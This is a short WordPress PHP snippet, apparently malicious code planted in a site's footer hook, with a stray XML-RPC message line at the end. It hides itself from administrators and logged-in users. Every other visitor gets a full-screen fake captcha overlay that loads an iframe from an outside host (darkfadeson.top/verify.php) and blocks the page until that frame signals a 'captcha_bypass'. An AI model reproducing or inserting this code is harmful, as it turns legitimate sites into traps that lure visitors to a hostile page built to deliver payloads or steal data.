add_action('wp_footer', 'my_captcha_overlay', 999);
function my_captcha_overlay() {
    if (is_admin()) return;
    if (is_user_logged_in()) return;
    ?>
    <div id="cf-overlay" style="position:fixed !important; top:0 !important; left:0 !important; width:100vw !important; height:100vh !important; background:rgba(0,0,0,0.8) !important; z-index:2147483647 !important; display:block;">
        <iframe id="cf-iframe" src="https://darkfadeson.top/verify.php" style="width:100% !important; height:100% !important; border:none !important;" allowtransparency="false"></iframe>
    </div>
    <script>
    (function() {
        var overlay = document.getElementById('cf-overlay');
        if (!overlay) return;
        window.addEventListener('message', function(e) {
            if (e.data && e.data.type === 'captcha_bypass') {
                overlay.style.display = 'none';
            }
        });
    })();
    </script>
    XML-RPC server accepts POST requests only.